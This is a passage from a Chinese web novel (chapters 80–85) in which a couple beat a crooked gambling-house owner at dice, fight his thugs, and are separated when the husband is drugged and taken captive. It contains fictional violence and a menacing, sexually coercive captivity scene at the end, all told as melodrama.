郑覃看着眼前恩爱甜蜜的小夫妻,眼底闪过一丝不悦,仿佛他的东西背叛了自己。 第二局赌局开始了,荷官再次开始摇动骰子,步骤与第一局一样,待阿福和郑覃都押注后,再打开骰盅。 “四、六、二,大!” 阿福和郑覃开牌,结果与上局一样,两人都押了大。 接连两次的平局,赌场的人开始暴躁了,这傻小子是踩了狗屎了吗,运气这么好! 郑覃却若有所思,眼神讳莫如深的看了眼阿福,见他一脸冷峻平静,突然意识到这个男人有些本事,并不是纯靠运气。 这么一想,他对阿福的兴趣更浓了,谁不喜欢长得好看还有本事的人呢。 等再考察一番,若是他真的有本事,他不介意让他跟随他左右,与他比肩! 丑丫的内心雀跃,伸手握住阿福的大手,心里那股激动又自豪的情绪无处发泄,她家阿福,怎么就这么厉害呢! 但阿福的眉却微微皱了起来,在骰盅摇响之时,他觉得这场景莫名的熟悉,里面的骰子晃动的声音仿佛在告诉他些什么信息。 随后,他的脑海里便多出来了一段记忆,如何根据声音来判断骰盅内骰子的点数,他耳力很好,待荷官将骰盅扣在桌上时,他就已经知道了里面的点数,猜大小对于他来说,没有任何难度。 郑覃混迹赌场多年,还开了这么大的赌场,赌技自然也是不差的,他们两人一直这么下去,很难分出胜负。 他不想待在这个污浊的地方,他想一局定胜负带着娘子回家! 在他思考之际,第三局又开始了,郑覃微不可察的对荷官使了一个颜色,荷官会意,唇角微微一勾。 终于到展现他技术的时候了! 第80章 赌场毁约 骰子在骰盅内翻滚的哐啷声听得神威赌坊的人心浮气躁,都在等待着里面的结果。 这次,傻子必定输! 还是一样的流程,押注,开骰盅,但在骰盅即将开的时候,阿福耳朵微微一动,听到了骰盅内的细微声响。 骰子动了!荷官在出老千! 他心里冷笑一声,在骰子停止动作后,便又将桌上已经押注的木牌给换了。 神威赌坊的手下们见这个情况,都以为是傻子开始慌了,不由一个个又露出嘲笑的嘴脸。 只有郑覃,眉头微微一挑,看向阿福的眼神里都透着欣赏的光。 能听出骰盅有问题,他果然不简单,这样的人,他势必要将他招揽在身侧,为他所用,否则,就只能 骰盅打开,结果为大,阿福和郑覃都押对了,在荷官没做手脚之前,结果是小,但暗藏机关的骰盅运转,使得点数由小变成了大。 阿福不屑这种出老千的行为,不知道有多少人栽在了赌场的黑手上。 赌场的人发出一阵唏嘘声,还有人在骂爹骂娘。 操他娘的,这小子是什么运气,他们要是有这手气,高低也要去赌上几把,那不得赚翻了! 到了现在,他们心里也隐约清楚,这个傻子是有些本事在身上的,并不是纯靠运气,但他们就是不想承认,也不愿意承认! 一个傻子都比他们厉害,这让他们情何以堪! 又是平局的结果,阿福没了耐心,他打断准备继续摇骰子的荷官,冷声开口道:“你们不觉得这样没意思吗?与其浪费时间,不如我们换个玩法。” “猜三个骰子的点数,一局定输赢,另外,换一个杯子来摇骰子,骰盅里有什么猫腻,你我心知肚明,不必在我眼皮子底下耍手段!” 郑覃听他这么说,神色顿住,他居然要玩这么大的! 猜点数可不是那么简单的,就连他这个在赌场里如鱼得水的人都不一定能保证每一局都猜对,他是对自己的赌技太自信,还是太过狂妄? 神威赌坊的其余人也都不敢相信自己的耳朵,虎爷手里的巨斧哐当以下掉在了地上,他弯腰捡了起来,那双凶狠的眼睛瞪着,虎声呼虎气:“小子,你胆子有点大!” 还没有人敢在他们赌坊玩这么大的! 丑丫也诧异阿福会这么说,但是她一点都不怀疑阿福的能力,她家阿福,无论做任何事,都有他的理由,她只要默默支持就好。 郑覃看阿福的眼神更加露骨了,恨不得立马将他脱光,由外到内地好好欣赏这个极品男人。 他挥手,示意荷官按他所说的那样,换了个杯子来摇骰子,这一局,输赢已经不重要了,就算他们真的赢了,他也不可能放他们走。 按照他的说法来做,不过是想看看他究竟还能给他多少惊喜罢了! 骰子装进杯子里,荷官又摇动了起来,这次,后厅的气氛更加紧张了,所有人的眼神都在荷官手里的杯子上。 听点数对于阿福来说很简单,待荷官摇完,他心里已经有了答案,但反观郑覃,他的脸色就没之前那么轻松了,眉头也紧紧皱着,脸上的皱纹愈发的明显。 好一会儿,郑覃终于做出了决定,神色松快了不少,对自己猜测的结果还是有几分自信的。 但阿福却眼底划过一抹冷笑,手指在桌面轻轻敲动,出老千,他也会! 内力汇聚在指尖,随着他敲动桌面,内力顺着指尖传入了桌面,引得桌面轻轻颤动,慢慢的,杯子内的骰子也随着晃动起来,其中一颗骰子悄无声息地翻了个面。 在场的所有人毫无所觉,只以为他是在不耐地敲桌。 两人公布他们所踩的点数,郑覃猜的是“一,一,三”,而阿福猜的是“一,一,四”。 郑覃看到阿福猜的结果,眉宇间显露一抹松快的笑,他的赌技已经算是佼佼者,但比起他,终归年轻了些。 他很自信,这一局,他猜的是对的! 其余众人都没有两人以声辨点数的技术,只能着急的等着荷官开结果。 杯子打开,里面的点数让赌场的人都大吃一惊,包括郑覃。 一,一,四! 这怎么可能,他听到明明是三,怎么会变成四了! 郑覃的脸上终于出现了不淡定的神色,他凝眉许久,看向阿福:“你做了手脚?” 他不愿相信自己居然听错了,唯一的解释就是这人动了手脚,可是他全程都不曾触碰过杯子,他是如何做到的? 阿福眉头微挑,语气带着散漫的贵气与压迫:“郑老板可别信口胡诌,我可都没碰过骰子。” 说罢,他站起身,牵上丑丫的手,看着满是骄傲和笑意的小脸也露出一抹浅笑:“娘子,回家!” 输赢已定,他不想在这个地方多待片刻,只想带着娘子回家。 两人抬脚往外走,郑覃却没了好脸色,他怒而拍桌,怒喝一声:“站住,我允许你们走了吗?” 手下人闻声而动,纷纷掏出武器,剑拔弩张,堵住了阿福和丑丫的去路。 丑丫咬了咬牙,她想过赌坊的人不会那么好说话,但没想到他们居然不要脸到这种程度,明目张胆的毁约! “郑老板,你这是什么意思?难不成当刚才你说过的话是放屁,听个响后就不作数了吗?” 她冷着张脸,长得瘦小的她在男人堆里没什么气势,但却毫不畏惧他们,一双水润的眼眸中满是怒气! “丑娘们,嘴放干净点,担心老子撕烂你的嘴!” 郑覃还没发话,他身边的虎爷就已经出口骂人,气势凶悍,但话音刚落,他的脸颊一侧便剧烈一痛,被一个飞来的物体给击中了腮帮骨,一侧的牙齿都松动了几颗。 他惨叫一声,吐出一口血,眼神注意到滚落到地上的东西,居然是一颗石子,就是这东西打中的他! 而始作俑者,就是站在他不远处的傻子! 阿福收回了手,眼神中带着杀意,冰冷道:“不会说话,这张嘴也不必要了!” 虎爷怒得双目圆瞪,举起他的巨斧就朝着阿福砍去,但却被郑覃给拦住。 第81章 砸了赌场 郑覃对眼前这个男人的兴趣上升到了顶点,不仅有一副好皮囊,还有一手好赌技,现在更是有一身好身手! 这个男人就是老天爷为他量身打造的! 他眼中的欣赏毫不掩饰,一副哄傻子,好商量的语气开口:“你叫阿福是吧?你的赌技和身手都不错,不如就留在我们神威赌坊,只要你点头,报酬随你要,在赌场里,我是老大,你便是老二!” “想不想感受呼风唤雨,被人尊敬的感觉?只要你留在我身边,这一切,我都会给你!” 郑覃还欲继续说,就被阿福冷冰冰的声音给打断:“不必了,我对你们赌场不感兴趣!” 说罢,他将丑丫拉到自己身边,伸手拦腰搂住她,决定硬闯出去。 郑覃被拒绝,脸色多少有些不好看,看着那只紧紧搂住女人腰肢的胳膊,他换了一种说辞。 “你还年轻,有大好的前途,何必守着一个女人不放,更何况还是一个丑女人,只要你跟了我,有大把的美人任你挑选,如花美眷,美人在怀,岂不是美哉?” 这是所有男人的理想,若是有选择,谁会守着一个黄脸婆丑妇过日子,三妻四妾、左拥右抱那才是男人该过的生活,只要对方稍作思考,该选谁自然不言而喻。 郑覃一脸自得,在他看来,只要他给的条件足够吸引人,没有人会不心动。 跟着那个丑女人,他不过是个起早贪黑挣点辛苦钱的面馆老板,但若是跟了他,钱、权、势,他每一样都可以拥有! 可谁知,他开出的丰厚条件,迎来的却是男人愈发不耐烦的眼神。 “你说够了没有,我劝你现在立马让我们走,不然我砸了你的赌场!” 阿福的忍耐已经到了极限,这些人,一而再再而三的侮辱娘子,娘子是他的底线,任何人都不可以欺负她! 郑覃见他敬酒不吃吃罚酒,耐心也被耗尽了,他还是第一个让他这么好脾气招揽的人,既然他不识相,软的不吃,那他就来硬的! “不是要砸我的赌场吗?好啊,我给你这个机会,给我上!” 他手一挥,早已经握着武器做好准备的手下们立马冲上前,刚才剑拔弩张、气氛紧张的后厅立马变得喧闹起来。 阿福的手紧紧地拉住丑丫的手,以防她被人群给冲散,受到伤害,另一手在腰带上一扯,竟取下了一条软鞭! 早在跟随赌场的人出门时他就已经做好了准备,在腰间盘了一条软鞭,这是他自己用牛皮做的,还没用过,今天正好带来试试顺不顺手! 鞭子一挥,发出“啪”一声的破空声,听得人胆寒,赌场的手下们举着刀剑砍来,可还未曾近对方的身,身体就已经被扫了一鞭! 牛皮做的鞭子,柔软有韧劲,抽在人身上火辣辣的疼,阿福力气大,一鞭下去,即使他们身上穿着衣服,衣服都能直接被抽破了,在身上留下一道血痕! 赌场的人从来没见过那么好的身手,昨天豹爷的手下回来吹嘘那面馆的傻子有多邪门,他们还不信,嘲笑他们没本事。 但今天,他们可算见识到了,昨天他们说的还是有些保守了! 那条简陋的鞭子在阿福手中像活过来了一般,如同一条长了眼睛的毒蛇,鞭法精准,所到之处只有一声声的皮开肉绽的声音以及惨叫声。 赌场的人太多,打手约莫四五十人,手握长鞭的阿福浑身充斥着杀意,眼眶猩红,看得人胆战心惊。 郑覃此时也意识到事情并没有他想的那么简单,他说要砸了他的赌场,不是狂妄,而是真有那个本事! 但事到如今,收手是不可能了,他们人多,他就不信了,四五十人还拿不下一个傻子! “给我上!谁敢给我躲,老子剁了他的手脚去喂野狗!” 见一些手下被打怕了,哆嗦着往后退,他厉喝一声,吓得手下们只能硬着头皮上。 丑丫被阿福保护得很好,没人能近得了她的身,即便只用一只手,阿福依旧厉害得像天神一般。 渐渐地,赌场的人也学聪明了,他们看得出傻子最在乎那个丑女人,只要他们集中对那女人下手,就能干扰他,找出他的破绽! 丑丫见阿福一边应付着攻击他的人,还要分神来保护她,心里有些不是滋味。 她目光沉了沉,眼神中闪过一抹狠意,用她来牵制阿福?想都别想! 一个长得贼眉鼠眼的赌场打手趁乱偷偷摸摸朝着丑丫靠近,准备搞偷袭。 见没人发现他,他心中洋洋得意,举起手中的长刀便朝着丑丫砍去,嘴里大喊:“去死吧,丑” 他的喊叫声才到一半便戛然而止,胸口剧痛,一股股温热的血液喷涌而出,他细小的眼睛此时瞪得很大,不敢置信地看着眼前这个拿着匕首捅了他心口一刀的女人。 丑丫带了匕首,在那人鬼鬼祟祟朝着她靠近的时候她就已经注意到了。 她在等时机,等一个将他一击毙命的时机! 血飞溅到了她的脸上,手上也染上了血,可她却没有什么害怕的神色,眼神中只有冷冽的杀意。 噗嗤一声,匕首被从胸腔中拔出,男人应声倒地,直到死,他都没想明白为什么会这样,眼睛直瞪着。 丑丫抢了他手里的长刀,握在手里自保,她没什么身手,能做的便是保护好自己,少给阿福拖后腿。 阿福自始至终都不曾放开丑丫的手,两人一人执鞭,一人握刀,在赌场众人的重重包围中杀出来一片天地。 阿福用鞭子卷住一人的胳膊,用力一扯,人便不受控制地朝着他们扑过来,丑丫在这时出刀,一刀穿破人的腹腔,血流了一地。 两人配合默契,倒在地上的人越来越多,有要堆成尸山的架势。 赌场的打手们真的怕了,怕到了骨子里,手脚都不由自主地颤抖起来,有的连刀都握不住了,没有再与之一战的勇气。 阿福和丑丫边打边退到了赌场的门口,赌钱的客人早就被吓走了,没人再敢拦着他们。 就在两人即将离开赌场之时,郑覃来了,他手里还控制着一个人! 第82章 老太太居然对他下手! “只要你们敢踏出这个门,我立马就要了她的命!” 丑丫和阿福回眸一看,眼神都颤了颤,牙关咬紧,身上的杀意更甚! 卑鄙小人! 被郑覃控制的人居然是今天到他们面馆来吃面的老太太! 老太太一把年纪,长得又瘦小,被郑覃拎着,脖子上架了一把刀,仿佛只要他轻轻一用力,这个老人立马就没了命。 老太太吓得苍白着脸色,那张满是皱纹的老脸上也都是泪水,看着很是可怜,嘴边一直喃喃着“救我”。 丑丫的拳头握得咯吱作响:“郑覃,你卑鄙,她只是一个无辜的老人,为何你连她都不放过!” 郑覃仰天大笑,语气猖狂:“哈哈哈哈哈,你才知道吗?我郑覃就没做过什么不卑鄙的事,不就是一个老人吗?我还连她孙子都抓来呢,就在地牢里关着!” 老太太听到自己的小孙子被关在地牢里,哭得更厉害,凄苦地哀求着:“求求你,放了我孙子吧,杀我就好了,杀我就好了!” 郑覃阴笑着,表情狰狞,握着刀的手施了力气,老太太的脖子立马被划出了一道口子。 “放了你孙子也不是不可以,那你让他们听话,放下刀跟我走,你和你孙子就可以回家了。” 老太太闻言,有些浑浊的双眼里又流下来眼泪,满眼希冀地看着丑丫和阿福。 她知道这小两口心善,今早还给他们祖孙俩送肉臊子面吃,可是她害怕啊,她的孙儿还那么小 丑丫看着老人充满希望的眼神,心里揪了一下,满是愧疚,他们本来与这件事毫无关系,不过是到他们面馆里吃一碗面就被牵扯进来,是他们连累了他们祖孙俩。 她深吸一口气,看向郑覃:“放了他们祖孙,我跟你们走。” 郑覃轻嗤一声,满眼鄙夷:“我不要你,我要他,只要他肯跟我走,我就放了他们。” 说罢,他看向阿福,眼神里充满了想要让其臣服于他的疯狂,驯服这么一匹野马,比他后院里关着的那些像狗一样摇尾乞怜的男宠可有趣多了! “不行!” 丑丫想都没想便拒绝,她现在敢肯定,郑覃就是个变态,他对阿福图谋不轨! 郑覃并未多着急,他手里有筹码,按照这两人的性子,不可能放任他们祖孙不管。 “既然不行,那也没什么谈的必要了,我现在就杀了这个老太太,再去将他孙子给宰了!” 老太太呜咽着挣扎,脖子上的血口子愈发明显。 郑覃邪笑着道:“你也听到了,是他们不愿意救你们祖孙,遭受无妄之灾的滋味不好吧,等你们祖孙做了鬼,一定要去找他们报仇!” 丑丫的拳头捏紧,指甲掐进掌心里,留下一个血印子,阿福见状,握住她的小手,将她的拳头给松开。 他没说话,垂眸看着她,眼神灼灼,里面有太多的情绪,丑丫看懂了,他说相信他! 丑丫很相信他,可是那颗心却放不下来,她知道他想做什么,想要开口劝他,可是脑内一片混乱不知如何开口。 这事因他们而起,让她袖手旁观,她做不到,阿福也同样做不到。 她微微点了点头,阿福眼底漾起微微的笑意,再次摸了摸她的头,又是那两个字:“真乖。” 丑丫的眼泪一下子就流下来了,此刻她好想当个狼心狗肺的人,紧紧抱住他的腰,告诉他,她不乖,她不想让他以身试险。 阿福看向郑覃,刚刚眼底那抹温柔缱绻的笑意早没了,只有冷漠,他淡淡开口:“我跟你走,但你得先放了我娘子和他们祖孙。” 郑覃的笑意更加猖狂,露骨的眼神在阿福身上肆无忌惮地打量。 快了,马上他就将臣服于他的身下,像一条听话的小狗一样随他折磨! “可以!” 他没有松开老太太,低声吩咐一句,一个手臂被砍了一道血口子的手下立马朝着赌坊内的地牢走去,不一会儿的功夫,老太太的小孙子就被带出来了。 小孩子身上没什么伤,但受到了惊吓,脸上挂着眼泪,想哭却不敢哭。 老太太看到小孙子,激动地喊着:“乖乖,奶奶的乖乖!” 小孙子想往老太太身边跑,但被身后的赌场打手给拉住,顿时吓得哇哇大哭起来。 郑覃眼神调笑般看着阿福:“好了,现在人带出来了,你可以跟我走了。” 阿福一直警惕着,并不相信他说的话:“你先让他们走过来,我再过去!” 郑覃眸种暗光一扫:“当老子傻呢,他们过去了,你还能跟我走?” “我放他们过来,你也同时过来我身边,我们双方同时交换人,不然,没得谈!” 丑丫紧张得后背衣裳都被冷汗给湿透了,不曾经过思考便不由自主地对着阿福摇头。 不要! 但阿福同意了,她也明白只有这个选择,可心底的自私让她控制不住地不想让阿福陷入险境。 郑覃放开了老太太,老太太立马抱住小孙子逃跑,阿福也朝着郑覃走去,双方人马即将交汇之时,却见郑覃突然手一动,手里的那把刀精准地朝着老太太后背飞去。 阿福早就猜到郑覃不会那么老实,提前做好了准备,一个闪身,上前扯过祖孙俩,让他们避开飞来的刀,同时挥鞭,将刀打落。 丑丫见阿福成功将祖孙俩救下,心里悬着的石头终于落下,只要老太太和小娃娃不在赌场的人手里,那他们便没有了危险他们的筹码! 阿福正想带着祖孙俩人逃离,却突然感觉手臂一阵刺痛,他错愕地看向自己的手臂,就见刚被自己救下的老太太手里竟然拿着两根锥子粗的针扎进了他手臂的肉里。 他不敢置信这个老太太会对他下手,眼神里满是不解,老太太不敢看他,手足无措地哭着道歉。 “对不起,对不起,是他们让我这么做的,别怪我,我孙子还这么小,我不想让他死!” 老太太哭得不能自已,推开阿福,抱着小孙子逃跑,阿福还在愣神,不知该如何形容自己此时的心情。 片刻后,他只感觉自己被扎中的手臂传来一阵麻意,这股麻意逐渐席卷全身,手脚开始变得无力。 第83章 娘子快走,我保护你 丑丫在看到老太太用针扎阿福的时候被吓傻了,冲过来抱住阿福,使出最大的力气将他搀扶起来,要带着他逃跑。 阿福只觉得全身都是彻骨的麻痒,尤其是被扎中的那只手臂,早就没了知觉,他额头上布满冷汗,走路逐渐踉跄,想要逃跑难如登天。 丑丫急得直掉眼泪,站到阿福跟前,背着他逃跑,他个子太高,即使她将他背在身上,他的脚依旧拖在地上。 赌场的人已经追来了,他们已经笃定这两人跑不了,追得不疾不徐,像逗猎物玩一般。 阿福的意识逐渐昏沉,丑丫每走一步,脸上的泪水便顺着下巴滴落,砸在了地上。 “阿福,别睡啊,你不能丢下我!” “阿福,你和我说说话好不好,我害怕!” 丑丫不停地呼唤着背上的男人,可耳边只有他沉重难受的呼吸声,没等来一句回应。 她怕了,眼泪染湿了一整张脸,不停地呼唤着:“阿福,阿福” 赌场的人追上来了,堵住他们的去路,郑覃看着这对亡命鸳鸯,啧啧两声,语气满是调笑和嘲讽。 “啧啧,心里不好受吧?你们不要命都要救的人,居然反过来要了你们的命!” “做人啊,就是不能太心善,当个狼心狗肺的人挺好的。” 丑丫的情绪濒临崩溃:“你给我闭嘴,只有你这样卑鄙无耻、狼心狗肺的人才会将人命当玩笑!” 郑覃此刻心情很好,被骂了也不恼,邪笑着道:“卑鄙无耻怎么了,我不也达到目的了?” “将他们给我带回去!” 他沉声吩咐,手下们立马行动,将两人给包围了。 今日在他们手上吃了太多亏,他一定好好好讨回来! 丑丫背着阿福,那双水灵灵的大眼睛瞪着包围住他们的人,像是一只被狼群包围的小羊羔。 赌场的打手们正欲动手抓人,却见一直趴在女人背上的傻子动了,他摇摇晃晃地站了起来,强忍着身上的难受,手里握紧了鞭子。 “娘子快走我保护你!” 阿福每吐出一个字都是艰难的,身上的力气更是像被抽干了一般,只有难以忍耐的麻意。 丑丫的眼泪一下子又决堤了,这个傻男人,她该拿他怎么办才好,他都这样了,他居然还想护着她! “阿福,我不走,我陪你,我们生同衾,死同穴!” 阿福听完她的话,苍白的脸上泛起了浅浅的笑意,紧接着便使尽最后的力气,扬鞭挥了出去,将包围圈撕开了一个口子,回眸对着丑丫歇斯底里。 “快走!” 赌场的打手们都没想到,这男人中了药还有如此恐怖的实力,不敢再掉以轻心,而郑覃,对阿福的欣赏则越来越浓烈。 这样的人,势必只能是他的! 他倒是想看看他还有多少实力! 丑丫看着为他拼命开始逃跑口子的阿福,泪如雨下。 “够了!阿福,你快停下!够了!” 阿福快要坚持不住了,看向丑丫的眼神带着祈求:“娘子,快走!” 丑丫的心早已疼得千疮百孔,不想看阿福为她白费努力,她一咬牙,朝着包围圈外跑去。 阿福,等我,我去报官,不管如何,我一定会回来救你! 阿福见娘子终于逃出来包围,力竭地摔在地上,赌场的手下们立马朝着丑丫追了出去。 看着即将被追上的娘子,阿福目眦欲裂,想要再起身,却早已没了力气,只能趴在地上,无力地看着前方。 郑覃走到阿福身边,蹲下,拍了拍他的脸颊:“你小子还真是个情种,都这样了还能为了一个女人拼命。” “你说你看上她什么了?姿色、身材、地位?什么都没有,值吗?为那样普通一个女人,搭上自己值得吗?” 阿福没理他,眼神依旧一眨不眨眼地盯着前方。 娘子,你一定要逃出去! 丑丫很快就被追上了,被一群大男人包围着,她转头看了身后倒在地上的阿福,她的目光与他对视,心里疼得快要不能呼吸。 她看向包围住她的这群人,歇斯底里怒吼:“你们这群走狗!跟在别人身后吃屎好吃吗?我要是你们爹娘,我就一头撞墙去死,生了你们这种欺男霸女、心思恶毒的走狗,我都没活在这世上!” 男人们被骂得怒火中烧,今天先是被这两口子打了一顿,他们身上现在还是大大小小的口子,现在居然又被这女人骂,能忍下去,他们就不是爷们! “臭娘们,老子本来不想对你下狠手,既然你这般不识抬举,那就别怪我们了!” 男人们蜂拥而上,势必要将这个不知天高地厚的女人给抓回去! 而看着越来越靠近她的人,丑丫眼神一凛,手里的匕首朝着自己的手腕划去,就是现在! 匕首划破手腕,血瞬间喷涌而出,丑丫顾不得疼痛,甩着自己的手,让自己的血飞溅到他们身上。 她的血有毒,既然之前已经毒死了人,现在也不差这几个! 男人们不明所以看着女人的动作,片刻后哈哈大笑,以为她是被吓傻了。 “哈哈哈,这女人怕是被吓傻了,在这儿装神婆呢!” 一个男人哈哈大笑,手臂上的伤口沾染上了丑丫的血都没注意,还没笑结束,他的笑声就卡在喉咙发不出来了。 他掐住自己的脖子,满脸狰狞,一瞬后就倒地不起,脸色也变成了青紫色,浑身无力地抽搐,不一会儿便没了呼吸。 赌场的打手们都愣住了,还以为是男人在演戏,其中一人踢了踢他,嬉笑着道:“喂!六子,戏演过了啊,没想到你小子还有这本事,演得跟真的似的!” “快起来,看着怪吓人的!” 其他人也跟着笑,可是笑过后也越发觉得不对劲,说话的那人蹲下,探了探六子的鼻息。 “没没气了!” 他一下子吓得摔在了地上,触碰过尸体的手还在颤抖着。 他还没回神,就见人群中陆续有人出现了六子那样的情况,倒在地上抽搐,脸色变得青紫。 这是,中毒了! 人一个接一个倒下,本来要来抓人的男人们陷入了慌乱中。 可丑丫却没有就此停下动作,她的手腕还在流血,血染红了她整只手,她不要命一般,将血抹在了手中的刀上,朝着慌乱的男人们砍去。 身上挨了刀,丑丫的血沾染到他们的伤口上,越来越多的人倒下。 其中一个男人站得比较远,看着那疯女人浑身是血的朝着人乱砍,他冲过去,挥刀将她手里的刀给打了下来,伸手掐住了她的脖子! 第84章 她能不恨吗? 丑丫被掐住了咽喉,难以呼吸,可却毫不畏惧地迎上男人的眼神,眼中尽是疯狂的笑意。 一瞬间,男人觉得有些害怕,这个女人是个疯子!不要命的疯子! 他手上的力气加重,要将她给掐死,他想不明白,明明脖颈那么细,他一用力就能掐断她的脖子,她哪儿来的勇气敢跟他对视! 脖子处的力道越来越大,丑丫直接上手,挠破了男人的手背,满手的血也染红了他的手背。 男人吃痛,但却没松手,心里的怒气更甚。 丑丫仰眸看他,笑着,即使难以呼吸,却还是艰难的吐字:“你死定了!” 男人看着她的笑,有些毛骨悚然,这女人不正常,难不成她会妖术! 他这么想着,突然就觉得五脏六腑传来一阵剧痛,像是内脏被腐蚀了一般! 他再也没有力气掐丑丫的脖子,摔在了地上,抽搐挣扎,直到死也没想明白自己为什么会死! 丑丫揉了揉被掐痛的脖子,深深地吸了几口气才缓了过来。 男人们不敢再上前抓她,眼神惊恐。 “妖女!她是妖女!” 看着地上莫名死去的同伴,他们只能想出这一个理由来解释这个惊悚怪异的现象。 一定是那女人施展妖术,将他们的兄弟给弄死了! 郑覃见派去的手下迟迟抓不住一个女人,还折损严重,脸色沉了下去。 他捏住阿福的脸颊,让他看向自己,冷笑道:“你们小两口还真是能给我惊喜!” “阿虎,你带人过去看看。” 虎皮男人领命,又带着十多个弟兄冲了过去,丑丫转身满眼不舍地看向阿福,她不想和他分开。 可是赌场的人又追来了,那么多人,就算她将她身上的血放干,估计也不能将他们给全部毒死。 她一咬牙,最后不舍地再看了一眼阿福,转头不要命地狂奔逃跑,她不能被抓,她还要回来救阿福! 阿福见娘子逐渐消失的身影,终于松了一口气,强睁着的眼皮再也睁不开,彻底失去了意识。 丑丫拿出了自己最快的速度逃命,尽管手腕上的伤口很疼,被男人掐过的脖子也还火辣辣的,可是她却不敢停下来,她还要想办法救阿福,她不能被抓回去! 耳边是呼呼的风声,她往各种不起眼的小巷子里钻,两条腿酸软得快要使不上力气,胸腔也因剧烈奔跑火辣辣地疼,可她还是不能停! 不知跑了多久,身后再也没有赌场的人追来,丑丫不受控制地摔在了地上,如同缺水的鱼儿一般大口大口地吸气,胸膛剧烈起伏。 她跑到了一个狭小的小巷子里,挣扎着爬到墙角,让自己的背靠着墙壁,手锤着两条酸软发抖的腿。 坐了一会儿,她终于缓了过来,此时才惊觉着小巷子里有人! 耳边传来一阵很小声的孩童的抽泣声,丑丫顿时警惕起来,环视四周,最终将视线定格在一个倒扣着的背篓上。 背篓已经有些年头了,因为雨水的冲淋,发霉发黑,但很大,里面完全可以藏人! 丑丫扶着墙站起来,握紧手里的匕首,小心翼翼地朝着背篓走去,用脚将背篓给踢开,看清里面的情况,她不由愣住了。 居然又是那祖孙俩! 藏身的背篓被踢开,本来就害怕的小孩子愈发害怕了,哇哇大哭起来,老太太也吓得老泪纵横。 眼前的小姑娘,满手的血,手里拿着匕首,那眼神凶悍得像要杀人,老太太怕了,更何况她还对那小伙子下手了,她一定不会放过他们祖孙! 她将小孙子护在怀里,跪下不停地给丑丫磕头:“姑娘,对不起,是我老婆子的错,你要报仇就拿我开刀吧,求求你放我孙子,他还小。” “是他们说只要我用针扎那小伙子,他们就可以放我们祖孙走,我太害怕了才听他们话的。” “求你了,放我孙子一条生路吧!” 看着眼前悲惨可怜的祖孙俩,丑丫说不出自己是什么心情。 一点都不恨吗?她做不到! 若不是这老太太糊涂对阿福下手,以阿福的本事,完全可以将他们全都安全救出来! 现在,她的阿福因为他们被抓了,她怎么可能对他们做到心如止水! 可是她又有什么资格恨呢? 他们不过是因为他们被牵扯进来的无辜之人,他们没经历过什么大事,被赌场的人抓去,难免会害怕,为了救小孙子,她做出那样的事,也是情有可原! 矛盾的情绪在心里交织,丑丫收了匕首,长长叹了一口气,语气有些无力:“起来吧,别跪了。” 老太太诧异的抬头看她,见她面无表情,但眉宇间尽是忧愁,她愈发的愧疚了。 那小伙子好心救他们祖孙,可她却 她跪着没起来,丑丫眉头微微皱了一下,也不想再管她了,冷淡的交代道:“带着他继续在这儿躲着吧,天快黑的时候再回去。” 她说完,扶着墙壁往巷子外走,腿还有些酸软,每走一步都艰难。 老太太呆愣了一瞬,随即开口:“姑娘,等一下!” 丑丫驻足,回眸看她,就见老太太从地上爬起来,从自己的里衣上撕下一条布条,她全身上下的衣服布料,最柔软的也只有里衣了。 她朝着丑丫走过去,看她还在流血的手腕,愧疚感又涌上心头。 “姑娘,老婆子给你包扎一下吧。” 丑丫见老太太要摸上她的手腕,忙将手给躲开,老太太愣了愣,以为她是在生自己的气,嫌弃她,不想让她碰。 她脸色有些尴尬,也愈发愧疚了,笑得苦涩:“对对不起。” 丑丫知道她是误会了,接过她手里的布条,缠绕在手腕的伤口上,冷声解释道:“脏,别碰!” 有毒的血,怎么可能让她碰呢! 老太太回过神,忙摇头:“不脏的,不脏的!” 但丑丫已经朝着巷子外走了,没再理会她。 赌场的人大概是已经放弃追她了,她回到了大街上,也没遇上追捕她的人。 脑子混乱一片,不由自主的回放着她逃跑时最后与阿福对视的那个眼神。 他在笑,是看她能护住自己,没有被抓回去,欣慰的笑。 丑丫心里酸涩不堪,眼泪控制不住的想往下掉。 大傻子!大傻子!你怎么能那么傻!你就不能为他自己担忧一下吗? 第85章 叫得让我满意了,我就停手 她扬起头,让眼泪流回眼眶里,别人都说,想哭的时候抬起头,眼泪就流不出来了。 可丑丫现在发现,这话是骗人的! 眼泪太多,根本流不回去,顺着眼角,划过脸颊,最终滴落到了地上。 天气很明媚,风清云朗,可她的心情却一点都不明媚,流了许久的泪,她重新振作起来,眼神变得坚毅。 现在不是她难过的时候,她要去报官,她要去救阿福! 郑覃私宅后院 郑覃坐在软床上,身边服侍着不少的男宠,他们有站着端果盘喂郑覃水果的,也有躺在郑覃怀里,将手探进他的衣襟,撩拨挑弄的,更有跪在他脚边,给他捶腿的,场面淫靡又荒诞。 “爷,你怎么又带人回来了,你不是说我才是你最宠爱的小甜心吗?” 躺在郑覃怀里的男宠脸上抹着脂粉,穿着清凉,薄薄一层轻纱,那瘦白的肉体若隐若现。 他媚眼如丝地望着郑覃,手在郑覃的胸膛上轻抚画圈挑弄。 郑覃被伺候得舒坦,低头在他唇上亲了一口,哄道:“不管我后院进多少人,你都是我的小甜心。” 男宠娇嗔地轻轻拍了郑覃的胸口一巴掌:“讨厌!” 床上是这番荒诞的景象,而床下,阿福被绑在了柱子上,上衣被脱去,裸着上身,下身只留下那条到膝盖的亵裤。 他的意识逐渐清醒,听着耳边的嬉笑声以及露骨的交谈,眉头不由紧紧地皱起。 察觉到男人醒了,郑覃起身朝着阿福走去,抬手捏住他的下巴,让他看着自己:“醒了?” 阿福的眼神恢复清明,对上郑覃猥琐的眼神,浑身是刺骨的寒意与杀气, “滚!” 郑覃最喜欢的就是他身上这股桀骜不驯的气质,这样的人调教起来才有意思! “不错,嘴还挺硬,希望你一会儿还能挺得住!” 郑覃走到房中的一个桌案上,上面摆放着各种各样的工具,皮鞭、蜡烛、烙铁、铁链 他挑选一番,最终拿了那根皮鞭,满脸淫邪又变态的笑容朝着阿福走去。 阿福赤着上身,那精瘦健壮的胸膛不止女人喜欢,男人也喜欢。 他用皮鞭的手柄触碰着阿福的身体,从他的喉结,划过他的胸膛,再划过腹肌,最后停留在被亵裤遮盖的部位。 “你说,这么好看的身体,布满鞭痕是什么样子?一定更性感对不对?” 阿福被他触碰只觉得一阵恶心涌上胸口,就连汗毛都竖了起来。 他牙根咬紧挣扎,眼眶猩红,像是一头暴怒的野兽:“拿开你的脏手,给我滚!” 郑覃见不得他眼底的那股凌厉与上位者的气势,他不过一个傻子,凭什么能有如此的压迫感,他只能臣服于他的身下! 